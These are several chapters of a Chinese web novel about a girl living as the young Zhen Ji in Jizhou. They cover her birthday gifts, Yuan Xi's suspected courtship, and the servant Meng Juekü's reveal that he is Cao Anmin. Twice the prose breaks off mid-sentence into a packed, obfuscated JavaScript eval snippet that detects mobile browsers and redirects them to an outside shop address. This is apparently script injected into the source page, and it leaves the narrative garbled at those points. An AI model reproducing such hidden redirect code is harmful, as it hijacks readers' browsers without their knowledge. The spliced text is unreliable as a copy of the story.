还能有谁,除却袁熙,恐怕再无人能让哥哥这般劳神了。季蘅又不蠢,伶俐的嘴轻蔑一抿,矢口不移道:“无关谁送的,好即好,不好的,黄豆也变不成金疙瘩。” 她一向孤高自许,甄尧便甘认下风,不愿与其多掰扯,转而别话:“生辰一过,年岁长一,你该更明理些。开春后我将赶赴邺城,家中恐要你费心,平日替我孝敬阿母,若得空,常与你嫂嫂处走动,她身子重,诸多不便。” 因是正事,季蘅才不情愿地点点头,连语气也软款了:“应当的。” 甄尧微垂眼帘,又饮了口茶,刚到嘴边的话却同那股酸涩滋味,咽回了肚肠。 前几日邺城传来消息,袁绍之妻刘氏有意为二子纳聘,但袁熙似乎对母亲的安排很不满。 是听闻刘氏替他相中了自家堂妹的长女,想着亲上加亲,可惜这位郎君决断不肯,甚至难得忤逆了母亲一回。 周遭的人终于恍然,原来郎君的整颗心早已拴在了别家女儿身上。 甄尧先得此消息,再收到袁熙送来的生辰礼,算是坚定了那人心思,看样子势在必得,非娶到五娘不可了。 不过思来想去,这种关乎女子名声的婚嫁大事他们甄家不要主动提及为妙,恐有攀附的嫌隙,至少也得等薛婉生产坐蓐,举家迁往邺城之后…… “你是不是还差了对金镯子?” 甄尧这话问得莫名其妙,季蘅也奇怪,拿眼斜他,不经意摸了摸腕间的红珊瑚手串。她从不缺首饰,眼下不过是嫌冬日里金玉凉,那类亲肤的物件少有佩戴。 可没等她琢磨出个所以然,甄尧却又不动声色地说起其它:“谢容允这几日在咱们家做客,你若无事,少去西苑那边,毕竟是外男,以免碰面失礼……啊,兄长还有事忙,就不在这里讨嫌了。” 言毕,便利索起身,擎开门帘走了。 断断续续下了几天的雪,又连吹几晚的大风,今日终于放晴,可身子越晒越冷,窗下的季蘅拢紧袍子,嘟囔道:“真奇怪。” 书架那边,忽探出个脑袋:“腊月十五,原是你生辰。” 怪道她今日打扮得格外精致。 这小寿星却故作深沉地叹了叹气:“长一岁,又少一年的活头罢了。” “好不吉利的话。”孟觉苦悠悠道,听声音,他似乎往右边挪了几步。 “人命本就有定数,可不就是活一年少一年么?” 季蘅终究是口不应心的,虽这样说着,她又援笔濡墨,写下对自己的祝词: 临高台以轩,下有清水清且寒。江有香草目以兰,黄鹄高飞离哉翻。关弓射鹄,令我主寿万年。② “后晌我要去虎婆园沐汤,说是可以养生祛秽,你要不要随我一块?那边倒有不少池子。” 孟觉苦微微一愣,又迟疑地重咳了几声:“……恐怕不太妥。” 也不知这不妥的部分,多是指性别,还是身份。 “我没问你其它,只问你想不想。”季蘅并不在乎,“人若总闷在家里,是会憋出新病的。” 孟觉苦不好直接答应,勉强挤出句:“虎婆园是何地?” 没拒绝,那便是 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幸好这一年,袁家还能稳坐河北,战火、痛苦和死亡,似乎离她很远很远。 “今早起,瞥见韶园枝头黄澄澄一片,煞是好看,我就想,若能得条如此颜色的霓裳,裙尾悬有许多鎏金的小铃铛,丁零当啷,黄昏风起时,穿着它在水榭跳舞,定比蜡梅、棣棠都要灿烂打眼——这,便是我今年许的愿望!” 孟觉苦听着,不由浮想,那画面一定妍丽纵脱,可话到嘴边,却是:“何必浪费难得的许愿机会,使唤下人裁春衣的时候,多添一匹明黄缎子即可。” “以往我许的那些愿,非但不灵,还容易适得其反,所以今年学乖了,该先试试无关紧要且最容易实现的。” 季蘅将绢本收拾好,放进案几边盛杂物的竹筐子里,然后对着炭盆烤了烤手,心想,若连这个都实现不了,那她明年的愿望就会是—— 毁灭吧,拜托快进到官渡之战! 孟觉苦替她收拾起案面的笔砚,忽然说起:“出兵宛城前,阿父替我简单行了冠礼,彼时我对烛火发誓,大丈夫之志,仰不愧于天,俯不怍于人③,既出乱世,当匡扶汉室,扫平四海——而今的状况,你也都看到了。” 他的语气意外豁达,像在述说一个属于别人的遥远的故事。 季蘅盯着那烧得红彤彤的炭,小心谨慎地问:“那你之后如何打算?总不能在这霁风斋,碌碌洗一辈子砚台吧。” “老天看不起我,不使我建功立业,本就一介武夫,无谋少智,如今再拖着这副残躯,连弓也拉不开了,莫敢奢望重回沙场。” 眼瞧这气氛越发低落,她想了想,说:“我怕疼,只拉得动软弓,当不了上阵杀敌的将军;虽谙习兵书,可惜实战中的排兵布阵还差些火候,自然也成不了运筹帷幄的主帅;好在甄家颇有财资,且我看人的眼神还算不瞎——孟觉苦,你不若认我当主公,赶明儿凑上个会盟,就做那第十九镇诸侯如何?” 对方果然被逗得轻轻笑了,感慨:“娘子有胸襟,有卓识,来日配嫁的夫君,定当人中龙凤,上效朝廷,下益苍生。” “你这人好没意思,”季蘅却嗔道,“我说笑哄你,你偏拿胡话膈应我。” 孟觉苦以为她是在害臊,便没再多嘴。 可季蘅实在怅然,望向那窗外的半块瓦蓝,真情实感地叹了声气。 当真是,身寄金丝笼,心系碧云天。 18. 心思 “之前是暑天去的,吃了顶正宗的浆水面、锅走还有酿皮子,闷头喝干净那大碗的酸辣汤底,醒酒又解腻,淋漓出了一身汗,爽快得天灵盖都通透了!” 谢容允无论对谁都很自来熟,见下仆送来的晚饭里有一碟饸饹,便拉着人家滔滔不绝地忆起往昔,他当年在天水走商,是如何又如何。 “奴可没这好命四处云游的,只知西凉羌人威武,要不前些年怎助董贼登了青云。”卢宽撑着张笑面脸,不忘指向那盛满酒的铜觥,恭维道,“您孝敬的蜀锦,夫人她们甚是喜爱,老夫人直夸谢郎君有心,吩咐下窖开了去年春酿的泛酒,您这可是头一杯。” “哈,我这酣中客当真有口福了。”谢容允忙致谢,“是因不知夫人们都喜欢什么,时兴的缎子各色各类挑拣了一些,不嫌弃就好啊。” “正好赶上裁春衣,老夫人将料子分了分,颜色稳重的,给了霍夫人和邓夫人;鲜艳些的,给了薛夫人和五娘子。” 冬日里,这天即使挂了日头,一过晌午,总黑得很快,两人客气联络了一番,卢宽便委婉告退:“面食容易坨,就不耽误先生用膳了。” 谢容允朝田匏使了个眼色,那厮向来乖觉,亲昵地送人出屋门。 待至阶前,田匏取下腰间的钱袋子,偷偷递过去:“一点心意,请兄弟过年吃热酒。” 都知谢容允爱财,但从不吝啬,那些人情世故他最是懂得。 卢宽又喜又惊,且留了个心眼:“这如何使得,我无功劳,也不算辛苦,哪敢饶受这些,若被我家郎君知道了,定要遭责备的。” “此等小事何须惊动主翁。”田匏笑说,“总在你们甄家叨扰也非理所应当,往后还要劳烦各位多体贴一二。” “应该的,客气,客气。”卢宽毕恭毕敬,到底还是收下了那钱袋子。 残雪消融,夜路有些难行,他就近去到西苑的小厨房借灯笼。 那边果然亮堂堂的,一推门,浓香扑鼻。 “哟呵,这许多人!” 原本当值的只有石康,他嫌冷清,拉了成禄相陪,现下正围在炉子旁烧烤。而灶台上,还有雁弩和观杏,一个在切肉,一个在串竹签。 “好香啊。”卢宽凑上前,眼看就要拿起根烤好的欲尝尝味。 “都是霍夫人赏的!”成禄用力拍开他的手,笑道,“吃可以,需得干活。” 快活归快活,卢宽一想到怀里还揣着钱袋,就有些忐忑,回笑说:“不比你们安逸,三郎君令我每晚都得去马厩巡一遍。谁借我灯笼探路哩?” “都堆在墙角,你自己挑,自己讨火。” 他这才注意到有个黄裳姑娘蹲在火盆旁,拨弄埋在炭灰里的毛芋。 “阿宝姐姐也在?看来五娘子从虎婆园回来了,今日玩得可还尽兴?” “却是你自作聪明了,”细宝抬头瞥了他一眼,“泡完汤,肚子饿了,原打算去昆楼吃鱼,没成想半道上遇见从邺城回来过年的辛大娘子,我们娘子便被她拉去屠园做客,多少要住一晚。这不,缦双跟着伺候,遣我回来禀知各位夫人。今晚可得早睡了,明天去接娘子,还要带些礼物。” 说起辛家,祖上本是陇西一脉,后因战乱,族人纷纷迁至豫州、冀州等地。比如辛评、辛毗这两兄弟,如今皆为袁绍麾下的谋士。 辛评有一女,字善印,打小寄养在毋极的外祖屠氏身边,生得天真烂漫,与季蘅甚交好。去年善印及笄,便被叔父接回邺城待嫁,听说结姻的对象是个姓高名柔字文惠的掾吏。 “我拢共也没见过几面,哪有什么想法呢,但叔父总说,陈留高氏,累世清名,在士林中颇具威望,且高郎是个坚忍衿重的君子……那便不能差吧。” 屠氏常安园的某间软塌上,两位年纪相近的姑娘正依偎着说起贴己小话。 季蘅望着帐荫子上的绣花,沉思发愣了一会儿,才迟疑问:“熹平三年生人,今年都二十好几了,怎才开始议婚?” “初时我也忐忑,又听大人解释,其父原乃蜀郡都尉,早年间亡故,他虽远在河北,却不顾路途艰险,千里迢迢赶往蜀地奔丧,前后花了三年才回来。余的事,可不就耽搁了。”① 嘴上羞得直说,但瞧善印明摆的态度,该是非常满意这桩婚事。 “他竟没留在西川?”季蘅却放错了重点,有些惋惜,“倒不如将我换过去。” “是又在冒痴话了,浑去那种边隅险峻之地做甚?都不知路上要走几载,何况娇贵如你,哪吃得了半点苦?” “可书上说蜀中山川奇丽,沃野千里,路上受些累也值当。莫如乘一叶轻舟泊于岷江之上,适逢秋雨朦胧,四周青黛色的山群若隐若现,我喝着烫酒,躲进船篷小憩。待酒醒,已是云消雨散,夕阳带血,且看那霞光映满了江面,金粉粼粼!” 季蘅绘声绘色地畅想,善印一时也听得入迷,不禁许诺:“若是天下太平了,我随他回蜀祭拜,定要捎上你。” 话罢,又自察失言,几分腼腆地笑了笑。 “好,我一定会去,但还是先把你的喜酒喝了再说。” 善印拿起帕子半遮着脸,眉眼含羞:“不急,阿父目下于青州笃志辅佐大公子,等开春,邺侯又将出兵征讨易京的公孙瓒,叔父和高郎也都很忙,故而婚期暂定明年秋冬。” “那你在邺城过得可还习惯?” “吃穿用度自然更好,”善印坐起身,歪头想了想,“就是偶尔憋得慌。” 她忽想起了什么要紧的事,扯了扯季蘅的袖子,“哎,你来。” “怎么了?” 说着,两人跪坐到妆台前。 “光顾说话,险些将正事忘了。”善印打开其中某个精致的木匣子,取出一样宝贝,“喏,送你的生辰贺礼。” 定眼一瞧,那是支海棠鎏金步摇,烛光下,石榴籽般的红宝石垂珠一动一晃响。 “ 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两位青梅久别重逢,自是有千言万语的衷肠要诉,吹灭蜡烛,夜里共枕时,还在耳鬓厮磨地说着私己小话。 反观甄家,薛婉正摸着四个月微显的肚子在榻边踅来踅去,烛火被她的身影一遮一晃的。 原本用心看文书的甄尧忍不住抬头:“你是不是有话想同我说?” 知妻莫如夫,果然,薛婉被点破了心思,立刻止住步子:“可能是我孕中多虑了,”她小心翼翼看向甄尧,竟有些忸怩,“总觉得五妹与那霁风斋的孟侄儿走得过于亲近了。” 甄尧意外很平静,只垂下眼皮:“何以见得?” 薛婉一时也说不清,曾瞧见两人坐在同一扇窗下看书,虽说无半分逾矩之举,连交谈也寥寥,可她却偏看得出了神,心底泛起几圈不该的涟漪——仿佛青梧和芍药,本不搭,放在一块却意外般配。 “早前撞见你同他交谈,还以为是哪家的贵公子,我都看走了眼,只怕弥儿也难免糊涂,忘记什么叫云泥之别。”她挺了挺腰,慢悠悠地走过去,“何况,那袁熙公子的心意,你最清楚。” “阿婉聊且放宽心,”甄尧道,“幼时曾有相士为小妹瞻相,说她将来必定贵不可言。②你还怕她被什么凡夫俗子欺诳了去?” “那些江湖术士拿了赏钱,势必只捡你们爱听的话说。我不过担心她这个年纪正是思春的时候,难保被什么虚无缥缈的东西迷了眼睛。那孟家侄子模样再如何出众,身份不过小仆,门楣终是不般配。” 甄尧笑着点头:“她机灵得很,心眼未必比你少。” “瞧你这德性,还是作兄长的人,总趣说些不着调的。”薛婉睨了他一眼,“哎呀,你多少给我交交底,那袁公子对小妹究竟如何打算的?” “你看不出来?” 她却轻蔑地哼哼鼻子:“我看?我看得清世间莺莺燕燕,唯独看不懂你们男儿亦真亦假、变幻多端的那颗黑心!” 19. 虚实 北地春迟,哪怕出了正月,仍是一片轻寒料峭。 季蘅喜欢趁着日光熹微之时,饱嗅晓风中类似米汤的清凉味道,很是神怡气爽。 她这个新年,过得甚为宽舒,无所用心,也着实吃胖不少,好在人小年纪轻,本就长着身体,衣裳总会做得宽松些,看上去并不明显,便私地宽宥了那偷偷生长的肉,美其名曰: 愈发丰润均称。 早膳刚吃完大半碗羊肉白菜羹,现下,她又拿着块柿饼,在小镜湖旁的花园溜达。 “秋千是前些天才打结实的,娘子可要仔细了。” 细宝拿手帕擦干净那木板座儿,季蘅才安稳坐下,她开口便问:“阿兄明日启程?” “是,三郎君明早辰时就动身。您宽心,这一趟先只带了成禄、石康、观杏……特意把卢宽留下,空闲给您扎风筝。” 每到阳春,惠风和煦的时候,季蘅总会择一开阔草地放风筝玩。 而甄宅里,当属卢宽扎得一手好风筝,比街上叫卖的竟还精巧不少,今年早早交代了他,想要青雁和蝴蝶花样式的。 隔了层粗布,季蘅抓着柿饼,正细细咀嚼,声音听起来略含糊:“那谢容允呢?” 坦白讲,她还是有几分忌惮此人的。就比方前些天陪三嫂薛婉说完话,她抄了条近路回繁柯院,走在竹林深处的鹅卵石小道上,忽听见悠扬的笛声,一时好奇,竟就顺着那乐音寻去,直至某堵围墙拦住了她——意识到眼前的正是泰阿阁后厦。 不消猜,这曲定当与借居此处的谢容允有关。 又不禁忆起中秋之夜,此人昭灼的目光,猜忌又神秘,只觉得自己的脸被盯得生疼,几乎要烫出个洞来。 明明是自己家,她想着想着,竟莫名心虚鬼祟地走远了。 “谢先生啊,肯定也要走的,否则也太不合规矩了。”细宝揣测着禀道。 季蘅终于啃完柿饼了,她把裹饼沾了油渍的粗布交给细宝,擦干净嘴,然后一蹬腿,将秋千荡得高高的。 “我已经学会骑马拉弓了,虽说只是软弓,也没有射得很准。” 细宝一听,连忙凑近了探问:“您该不会还想独自外去春猎吧?” “咄,我哪有这本事,野兔野鸡都还好说,若遇上什么豺狼虎豹的,可就要了大命。” “是说呢。” 谈不上春猎,顶多算个其乐融融的春游吧。 季蘅想去郊野,架起篝火,和朋友一起聊天、烤肉、喝酒、看星星……若是心情够好,再给他们炫耀一下新学的舞。 她是越想越开心,随口吩咐细宝:“我有些渴了,你帮我取一小盏果汁来。” “诺。” 又接着自顾自地想:三哥去了邺城,三嫂有孕在身,母亲和二嫂都是不爱操心的人,只要好好糊弄住掌家的霍姨娘——她便是骑着马从城西瞎逛到城东也不打紧。 季蘅不由做起美梦,呜呼乐哉,这段时日就争当天底下最快活自在的古人。 忽然,一只骨节分明的手抓住了秋千绳。 她失容惊矍,竟是孟觉苦,但也瞬间松了口气:“是你啊,吓我一跳!” 孟觉苦总是副置身事外的淡漠表情,大约这种经历过生死的人,在情绪上都再难有大起大伏。 这会子正低眉望向季蘅,就像微风拂过垂柳丝,他说:“年前你要我帮忙找的书。” 另一只手果然抱着个木匣子。 “噢,我竟差点忘干净了,”季蘅有些不好意思,“你搁在霁风斋就好,何必辛劳亲自送来。” “因为你忘了。”孟觉苦略顿了顿,又道,“你许久不来书斋了。” “这不过年嘛,我哪有心思静下来看书。” 他倒不是来兴师问罪的,只说:“我正要送去繁柯院。” 季蘅却一手扯住男子的袖袍:“诶,我叫细宝去拿东西了,若随你走开,她回来定找不见人。你这会子也没什么大事,就陪我等一等?” 孟觉苦没说话,只抱着那匣子,安静坐在旁边的秋千上。 他贯是沉默寡言的,故而两人之间的聊天一向由季蘅开话头:“你的病应当快好全了,今年可有什么打算?” “没什么新鲜的。” 小姑娘却在掏心窝子:“我呢,一直想走出中山郡,走出冀州,去更远的地方看看。” 她晃了晃脚,盯着鞋面的纹案,“天下一百四十二郡,也不知我此生能丈量多少呢。” “你想听实话?” “什么?” “等娘子行了笄礼,婚事也将定下,你的未来,只在夫家府宅的几十亩土地和墙内的那片窄天。从此孝顺姑舅,敬爱夫君,管理妾仆,生儿育女……这一生便转瞬即逝了。” 实话归实话,但,好毒的预言,季蘅实在不喜欢,她不禁暗想,这甄氏的一生合当更传奇,初嫁四世三公的诸侯家,妥妥“老钱”联姻,可惜没多久兵败受俘,给野心勃勃的未来皇帝抢了去,生下大魏第二任君主,野史里还能被编排与同样失意的小叔子不清不楚搞暧昧,据说最后争宠失败,被移情别恋的丈夫赐死……嗯,还更凄惨些。 要说,与其这样被动地过完一生,不如赌一把改变历史。只是到底从哪儿开始改,能改成功,她还没想好。 “我才不想嫁人。” “华儿以前也这样嚷嚷,可到底由不得你们。” 季蘅只叹道:“你们男人不懂。就说这衣服吧,都是依着我喜欢的纹样、颜色裁制的,先前穿的时候,我会很小心,可多穿几次,衣服变旧了,就没那么喜欢了,又会央求阿母、霍姨给我置办新衣。人也是一样啊。男人厌倦了,犹可纳妾,女人就惨了,成亲之后却只能守着一件破衣服,不定还要与多少人共享,好不公平!” 这样的痴话,孟觉苦闻所未闻,他皱了皱眉,自然而然站在男人的立场上,辩解道:“你们女子一样可以和离的。” “你见过多少女子仅仅因为厌倦就与丈夫和离的?莫深究理由了,哪怕是主动求离的都少得可怜。所以我当真是佩服丁夫人。” “丁夫人?”孟觉苦的语气变得切迫,眼睛里闪过一丝异样。 这些都被季蘅轻易捕捉到了,她缓缓道:“怎么了?” “是哪位丁夫人?” 她笑了笑:“自然是你们都认识的那位丁夫人。” 孟觉苦一时语塞。 季蘅便接着说:“就是你从前那个主公曹孟德的发妻。” “他们……和离了?” “嗯,我也是听说,”她诈现忖量之状,“长子不幸战死,那位丁夫人连日以泪洗面,唾骂丈夫因一己私欲酿祸作孽,累及无辜,最后竟逼得曹司空同意和离,独自回了老家谯县。” 孟觉苦的目光有些阴郁:“该是谣传。” “为何?” “丁氏贵为正室,且不说司空与哪个女人有了孩子,都得喊她母亲,更何况那曹昂不过养子,却非亲生,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052423|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要她愿意,再多认几个也无妨,何必……” “何必为一养子抛弃大好前程?但俗语有言啊,生身之恩大于人,养育之恩大于天。想那曹昂该是丁夫人一手带大的,便是养子,也付出了多年的真心实意,怎能轻易释怀?” 光和五年,媵妾毓姬又怀孕了,但这次她却没被幸运眷顾,因胎位不正,难产诞下一名气若游丝的男婴,不久便母子俱陨。 那时曹昂才五岁,丧母后,被丁氏收养在名下,成为名义上的嫡子,至他死去,已有整整十五年。 十五年,莫说养孩子了,便是养些小动物、养些花花草草,也该有感情的。 见对方不言语,季蘅继续说:“为长子之死愤恨是一,其二嘛,我猜丁夫人早就看不惯那曹公的作派了,这次终于有理由离他而去。” “这些话是谁教你?”孟觉苦果然警惕地望向她,“难道曹氏的家事已妇孺皆知了?” “偷偷告诉你,并非你一人有不可说的秘密。”季蘅眯起眼,存心逗他,“倘或哪天你坦诚自己的来历,我也就愿意同你讲一讲我的秘密了。” 如她所愿,孟觉苦冷笑出声:“你就这么想知道我的事?” “是。” “好,告诉你,我本姓的确是曹,”他竟云淡风轻地坦白了,“但并非曹昂。” 闻此,季蘅忙撇过头看他,那人眼睛亮幽幽的,不像在撒谎。 “什么?” “我原姓曹,单名一个扬,表字安民。” …… 他竟是曹安民?本该与典韦、曹昂一起死在宛城的曹操爱侄!? 一切好像都有些说通了,但季蘅还是很谨慎:“你这次该不会又是哄骗我的吧?” 孟觉苦却避而不答:“真真假假,虚虚实实,有那么重要吗?” 这回轮到季蘅语塞了,片晌,她又问:“那曹操是你什么人?” “族叔。” “既是叔父,你为何不回许都?” “曹氏英杰众多,我这已废之躯何苦自取其辱。” “那你之前骗我,说没见过曹昂!” “我若对什么人都坦诚,恐怕难以苟活到今日。”孟觉苦幽幽说,“好了,我的事言尽于此,轮到你了。” 季蘅并不满意,想了想,故意道:“我原是姑射山上的仙子,做了些错事,被罚至人间历劫。” “历劫?”孟觉苦略轻蔑地量了她一眼,怎么看都是来享福的。 “历的是情劫。”她心虚地继续编,“贪嗔痴恨爱恶欲,什么时候觑破了红尘,什么时候才能飞升成上神。” “贪嗔痴恨爱恶欲,你是哪个山头的仙?竟修异邦的佛经。” “嗳,你不懂,这世间的真知总是不谋而合,”季蘅有些急,“反正天机不可泄露,你别问太多。难道你没觉得我有时通晓天地,又觉得我谈吐怪异?” “比寻常女子确有不同。”孟觉苦用词委婉,这人还是挺懂礼貌的。 “假作真时,真即假。”她摇头晃脑,“你可以不信我,但莫跟其他人乱说。我也不会把你的事告诉别人。” “好。” “安民济物,你父母有大抱负,只是原来的名字叫人容易想起旧事,我不太喜欢,以后还是唤你孟觉苦吧。” 没想到孟觉苦只安然点点头,并不在意,最后还补充了句,像在季蘅心头插上把大衮刀: “不过,我的事,尧郎君与谢先生也都知道。” 20. 礼物 早说了,像甄尧这种心眼子比蜂窝煤还多的人,如何也不会做亏本的买卖。 将孟觉苦不露声色地留在甄家,就因为人家是曹氏宗亲,倘说哪天风水轮流转了,冀州沦落到曹司空手里,这边也好有个新靠山,帮衬一二。 却又只安排成普普通通的书房杂役,一是看他羸弱,再干不动其它活计;二嘛,他虽姓曹,但曹家俊杰颇多,委实不缺这一个病夫,往后恐怕也是难堪重用的,只当个米虫供养罢了。 保命求稳足矣,但若想借他攀附权势富贵,那就是不切实际的妄念。 所以甄尧现在还没太把孟觉苦当回事,稍稍安顿好,继续一门心思向着袁公。 至于谢容允,季蘅是万万没想到,他居然比自己还早知道孟觉苦的身份! 上次巴巴儿赶去旭庄拜访,当真成笑话了,莫名有股使不上劲的怒气涌上心头。 以后再遇见姓谢的,她的眼神就该变成三分蹴然、三分猜忌、三分兴趣,还有一分妒恨。 “……总觉得这家伙太阴,指不定哪日要加害于我。” “谁?”缦双心慧耳聪,常常会把娘子随口絮叨的牢骚当真。 而季蘅对这个贴身大丫鬟也算知无不言了,相处这么多年,信赖非常,遂尔轻飘飘地坦言:“颍川谢敛,谢容允。” “他最近又招惹娘子您了?”缦双却不意外,回忆中秋那晚,就隐约发觉这个谢先生是徒有其表,奇怪又浮滑的。 “那倒还没有,”季蘅有些泄气,手里的笔也不动了,抬头望向对方,“就是一种莫名的很诡异的直觉,你懂吗?” 缦双可不太懂,只说:“既然讨厌,以后不见他就是了,好在您也无需与他一个区区游商长久周旋。”她轻笑,接着问,“这字,娘子还继续写吗?烛火有些晃眼,我替您剔一剔灯芯。” “算了,”季蘅搁下笔,暂且不想再为这个人这些事白费心力,便揉了揉眸子,“是得早点就寝,明日还要送兄长启程。” 建安三年二月初七晴,大吉,宜出行,忌动土。意气风发的甄尧带着他的行装和满腔抱负,从城南门乘马车出发。 无论张老夫人、薛婉甚至霍逦,在场的女眷们都手持细绢擦拭眼角,有感慨有不舍,唯独季蘅挺直腰板,始终一副兴高采烈、情绪高昂的模样,就差亲自敲锣打鼓欢送瘟神了。 “盼着我快些走?”甄尧洞悉一切,离开之前,特意凑到小妹面前言噱几句。 “家中有我看顾,兄长大可放心。”季蘅故作怪气,“前路漫漫,千万要脚踏实地,行得端正,走得安稳。” 甄尧却也不恼,生硬笑了两声,只盯着她发间的海棠红宝石步摇反复打量,并称赞道:“你这新首饰可真好看啊。” 季蘅下意识抬手一摸那垂在鬓边的流珠:“自然,善印送的,我很喜欢。” “你喜欢就好。”甄尧别有深意地点点头,笑道,“其实首饰和人一样,重要的是本身,只要跳出了那些个圈圈绕绕,再回头看,偏见消除不少,而后才能发觉自己的本心。” 莫名一顿说辞,首饰也能让他高谈阔论?季蘅煞是不解,又听兄长最后补充句:“生辰送你的红木箱子里正有对手镯,与这簪子甚配,记得回去仔细翻一翻,可不要因为先入为主的成见,错失了心爱之物。” 那抬箱子,季蘅确实没打开过,自生辰当日起就一直搁在仓库的角落里积灰。 并非讨厌礼物本身,只是在逃避袁熙这个人。 无聊时甚至幻想过,他在几百种场景里向自己求爱,季蘅呢,冷酷无情地将人踩进尘埃里,再用几百个理由帅气拒绝,且无需计较任何后果。 就像小时候披着毛毯被单唱独角戏,偷偷演完的玛丽苏故事一样精彩、狗血、磊落飒爽。 此时的季蘅没经历什么大风大浪,还太理想化,或者说天真,只要觉得不喜欢,便可以弃之不理。 而袁家公子或许会在爱得最浓烈的时候,短暂地卑微一会儿,可事实上,他甚至无需过问女方的真实想法,对这种身份地位的人来说,但凡求得双亲首肯,找个伶俐的媒人上门纳采,那么一切就能水到渠成,他的新娘只会羞答答地垂下头,以团扇遮面,乖乖嫁进邺城袁府,从此与他成为一对所谓的神仙眷侣…… “怎么还上锁了?” 等回了繁柯院,季蘅赶忙命小厮把箱子抬进了卧房里。 缦双得令,一样样打点,红枭则拿着简牍和笔在旁记下。 “刚送来的时候,奴婢就瞧过了,都是那种贵重玩意儿,落下锁更妥当。”细宝给季蘅切了碟沙果。 对此,季蘅的神情无意透出了些许嫌弃,这年头再富贵又如何,也只能将就吃点应季的北方水果。 “娘子,是不是这个。”箱子里果然放了对镯子,缦双用绢布托着,送至季蘅面前。 但见那金镯上各镶了五颗蚕豆大小的红宝石,款式与季蘅发间所插的步摇几乎没差,极有可能出自同一套。 缦双瞧出娘子脸色微变,忙笑说:“这箱子大有乾坤,里头装的东西,从头到尾,从玩的到用的,共有整整十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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缦双蔼然笑道:“瞧,娘子的头发都有些乱了,容奴婢拿篦子理一理。” 季蘅却继续板了板脸,把步摇交给她:“去找个大点的匣子,将它和那对镯子搁一块,放在妆台上,余的再叫人抬回库里。” “诺,奴婢这就去办。”缦双有一大优点,即便心中有惑,不该自己的事,就不会多嘴问半句。 季蘅轻叹了声气,那金饰、红宝石、如意纹样,明眼人都能辨出是一套。总不能偏偏那样巧了,竟叫袁熙、善印分别买了其中的一样,然后送给同一个人了。 她相信善印,肯定不会帮那群人欺骗自己的,可又想起甄尧临走前那句莫名其妙的话,心里更火气不止。 “来人!” 闻声,红枭兢战地从外面探出个圆脑袋:“奴婢在。” 季蘅缓了口气,道:“差人去屠园递张帖子,请辛大娘子到昆楼吃茶,只说我请客。” 21. 试探 “真难得,你今日怎穿得这般素净?头上戴的粉绣球绢花倒精致款可爱,有空我也试试如此打扮。” 辛善印亲昵拉着季蘅的手,倚窗坐下,瞧完小姐妹的新装束,又环顾起这间雅居,嘴里仍喋喋不休。 “没想到你会先邀我来昆楼吃茶,好虽好,只是太寻常,不像你平日里跳脱轻狂的性子。”她戏谑,“讲实话,我早想随你去那襄玉坊见见世面了,鱼龙混珠也有鱼龙混珠的意思嘛。” 季蘅却只勉强笑了笑,今天出门前特意换了身打扮,可不是为消闲遣闷来的,她微挑眉头应答:“下回吧,这里比较清净,好说话。” “甄妹妹,”善印见她神情不对劲,忙追问,“怎么了?” 季蘅垂眸,斟了两盅茶:“听说姐姐与那文夫人甚交好?” 善印微愣,如实答:“是随我家大嫂见过几次,不过,我是小辈,交好倒谈不上,但也能说上几句话。” “噢,”季蘅温温吞吞地捧起玉盏,“我家三嫂看见你送的步摇也心生喜欢,正考虑给肚里的孩儿打一套像样的银器,又记得你说是文夫人给介绍的,便想攀问是哪家铺子。” “这事好办啊,你让薛嫂嫂把银器的样式和斤两数写下来,等我回邺城……罢,莫说些见外的话,尽管交给我,权当是给你外甥的见面礼了!” “别急着揽下来,我信口问问而已,还没定好呢。何况现今才四五个月,不急。” “什么不急啊,快了,可别不信,都是一眨眼就要生了,再一眨眼就长大成人了。”善印笑道,“小孩长得可快了,就说袁家的四公子,记得第一回见他,只小小的一个,现在已经快撺过我胸口高了,才六岁呢。” “确实长得高,好像比我家湛儿六岁时的个头还要高些。” “可不,那袁家的公子都很高,模样也俊俏轩朗,实在是争相竞逐的抢手货。”她笑得放肆。 这么快就拐到正题上了,季蘅不动声色地往嘴里送了块糖糕,然后朝对方明媚笑道:“去岁开秋,袁二公子曾做客我家,远远瞧过他一眼,可惜没太看清脸。” “二公子我也只见过几面,寡言内敛,长得颇英气。倒是见三公子见得多些,他是个极孝顺的,常在府上陪伴邺侯夫人,平时也没什么架子,会与我等说说笑笑,啊,笑起来就像那朗月清风,赏心悦目,”善印忽压低了声音,偷偷坦白,“该是邺城里最俊美的男子了。” 看情形,她似乎并不知晓袁熙和甄家常有往来。 季蘅便继续试探:“这样的美男子可曾婚配否?” 果然,善印一听就激动了:“哎,说到这,我想起一事。” 她凑近了些,“有次文夫人撺了个赏花会,那还是初夏,当时我就纳闷儿,要赏花且得等秋天的时候更好吧?” “嗯。” “那会子天也没热起来,我正无事消遣,就随大嫂一块见世面了。结果你猜怎么着,哪里是去赏花的,分明是去瞧刘女君的脸色。” 见季蘅面露困惑,她解释:“就是邺侯续弦,二公子、三公子的生母刘氏。明面上,请大家过来一聚,联络感情,实则呢,把那些待嫁贵女摆齐整了,供她恣意挑选儿妇!” “当真?” “假不了!我是因有婚约,就陪大嫂她们歇坐东堂,而西堂,全是年轻未嫁的女子。还听见刘女君吹着茶挑剔,说什么这个腰太窄,不好生养;那个颧骨太高,克夫相……” 季蘅只觉荒谬好笑,随口问:“可看上谁了?” 善印连连摇头,甚是鄙夷,不由压低声音:“你是没瞧见那副嘴脸,啧,我形容不真切,反正好似她的宝贝儿子只有九天神女才配得上,寻常人家都近不得她的眼帘!若非袁家势大,我早偷摸开溜了!” 说着,歪头盯了盯密友,又似笑非笑道,“美人儿,要不你也去试试?袁家四世高居三公,钟鸣鼎食,满门荣耀,总算不辱没你这张老天垂怜的脸蛋!” 季蘅知她随口戏言,便顺着方才的话逗趣:“我可不行,家里有那样厉害的主母在,就算借来一百个胆子也不敢嫁的。” 